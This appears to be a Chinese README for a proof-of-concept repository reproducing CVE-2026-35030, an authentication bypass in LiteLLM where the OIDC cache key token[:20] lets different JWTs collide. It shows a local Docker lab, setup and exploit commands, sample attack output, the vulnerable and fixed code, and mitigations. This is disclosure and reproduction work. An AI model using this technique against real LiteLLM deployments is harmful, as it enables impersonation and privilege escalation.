LiteLLM 的 OIDC 用户信息缓存使用
token[:20]作为缓存键。使用相同算法签名的两个不同 JWT 会产生相同的前 20 个字符,从而允许未经认证的攻击者继承另一用户的缓存身份和权限。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (严重) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (严重) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287(不恰当的身份验证)/ CWE-222(凭据保护不足) |
| 受影响版本 | LiteLLM < 1.83.0(启用 enable_jwt_auth: true 时) |
| 修复版本 | v1.83.0+(缓存键改为 sha256(token)) |
| 公布日期 | 2026-04-06 |
| 发现者 | Veria Labs |
| 链接 | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab 安全公告 |
LiteLLM 是一个用于调用 LLM API 的 AI 网关/代理服务器。当启用 JWT 认证(enable_jwt_auth: true)时,LiteLLM 会向 OIDC 提供者验证令牌,并将用户信息响应缓存起来。
漏洞描述: 缓存键仅使用 JWT 的前 20 个字符:
# 存在漏洞的代码(1.83.0 之前)
cache_key = token[:20] # 仅使用前 20 个字符!
一个 JWT 由三个以点号分隔的 base64url 编码段组成:
<header>.<payload>.<signature>
头部(例如 {"alg":"RS256","typ":"JWT"})对于使用相同签名算法的所有令牌编码完全相同。这意味着两个不同的 JWT(颁发给完全不同的用户)将具有相同的前 20 个字符。
1. 管理员认证 → LiteLLM 获取用户信息 → 以 key = token[:20] 缓存
↑
2. 攻击者使用相同算法(RS256)构造 JWT ────────────────────┘
→ token[:20] 完全一致 → 缓存命中 → 继承管理员身份
关于企业许可的说明: JWT/OIDC 认证在 LiteLLM 中是仅限企业版的功能(需要
LITELLM_LICENSE)。对于本地 CVE 复现,两个 Dockerfile 都将premium_user检查修补为True。这不影响漏洞本身——缓存键碰撞(token[:20])独立于企业版检查而存在。首次启动会运行 Prisma 迁移(约 60-90 秒)。当日志显示
"Uvicorn running on http://0.0.0.0:4000"时,LiteLLM 即可就绪。
# 1. 构建并启动存在漏洞的 LiteLLM + 模拟 OIDC 提供者
docker compose up -d --build
# 2. 安装 Python 依赖
pip install -r requirements.txt
# 3. 创建测试用户(JWT 认证需要 — 需要 master 密钥)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. 演示缓存键碰撞
python3 exploit/exploit.py --mode demo
# 5. 运行完整漏洞利用(通过缓存碰撞实现认证绕过)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (可选)验证在 v1.83.0+ 中已修复
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
演示模式 — 展示缓存键碰撞:
[+] 管理员的 JWT(subject=admin):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[+] 攻击者的 JWT(subject=attacker):
Token: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Prefix: 'eyJhbGciOiJSUzI1NiIs'
[🔥] 碰撞:两个令牌共享相同的前 20 个字符!
原因:两个令牌都使用 RS256 签名 → 相同的 JWT 头部 base64 → 相同的前 20 个字符
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
漏洞利用模式 — 演示实际的认证绕过:
[VULNERABLE] 漏洞利用尝试 — 目标:http://localhost:4000
[*] 第1步:从 OIDC 提供者获取 JWT...
Prefix collision: True
[*] 第2步:向 LiteLLM 发送管理员的 JWT(填充 OIDC 缓存)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] 第3步:发送攻击者的 JWT(缓存碰撞尝试)...
HTTP 200
Response: {"user_id": "admin", ...} ← 继承了管理员身份!
[🔥] 漏洞利用成功!攻击者继承了管理员身份!
攻击者的 token[:20] 匹配了管理员的缓存键。
响应 user_id='admin'(预期 'admin' 表示权限提升)
修复版本 — sha256 缓存键阻止碰撞:
[FIXED] 漏洞利用尝试 — 目标:http://localhost:4001
[*] 第1步:从 OIDC 提供者获取 JWT...
Prefix collision: True
[*] 第2步:向 LiteLLM 发送管理员的 JWT(填充 OIDC 缓存)...
HTTP 200
Response: {"user_id": "admin", ...}
[*] 第3步:发送攻击者的 JWT(缓存碰撞尝试)...
HTTP 200
Response: {"user_id": "attacker", ...} ← 保留了自身身份
[+] 攻击者的身份被识别为 user_id='attacker'。
修复版本:缓存碰撞已阻止。
在 litellm/proxy/auth/handle_jwt.py 中,OIDC 用户信息缓存使用 token[:20] 作为键:
# 存在漏洞(1.83.0 之前)— litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # 仅使用前 20 个字符!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # 缓存命中 → 跳过获取用户信息!
# 修复版本(v1.83.0+)— 同一文件,第625行
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] 不够安全| 令牌组件 | 是否包含用户特定数据? | 对于相同算法是否固定? |
|---|---|---|
| 头部(前约30个字符) | ❌ 否 | ✅ 是 — 相同的 base64 |
| 负载(用户特定) | ✅ 是 | ❌ 否 — 每个用户唯一 |
| 签名 | ✅ 是 | ❌ 否 — 每个密钥唯一 |
由于头部是前 20 个字符中唯一的组成部分,并且头部对于使用相同签名算法的所有令牌完全相同,因此来自同一颁发者的每个 RS256 JWT 都具有完全相同的前 20 个字符。
| 场景 | 描述 |
|---|---|
| 权限提升 | 低权限用户通过缓存碰撞成为管理员 |
| 水平冒充 | 冒充任何用户信息已被缓存的用户 |
| 认证绕过链 | 结合 CVE-2026-35029 实现远程代码执行 |
CVE-2026-35030/
├── README.md # 本文件
├── docker-compose.yml # 存在漏洞的 + 修复的 LiteLLM + 模拟 OIDC
├── litellm_config.yaml # 启用了 JWT 认证的 LiteLLM 配置
├── requirements.txt # Python 依赖(PoC)
├── litellm-vuln/
│ └── Dockerfile # 存在漏洞的 LiteLLM v1.82.5(含企业补丁)
├── litellm-fixed/
│ └── Dockerfile # 修复的 LiteLLM v1.83.0+(sha256 缓存键)
├── oidc-provider/
│ ├── Dockerfile # 模拟 OIDC 提供者镜像
│ ├── requirements.txt
│ └── server.py # OIDC 模拟(FastAPI)
├── exploit/
│ ├── exploit.py # 主 PoC 漏洞利用脚本
│ └── token_forge.py # JWT 碰撞工具
├── docs/
│ └── advisory.md # 安全公告参考
└── screenshots/
└── README.md # 截图占位符
sha256(token))enable_jwt_auth: false免责声明: 本内容仅供教育和授权的安全测试使用。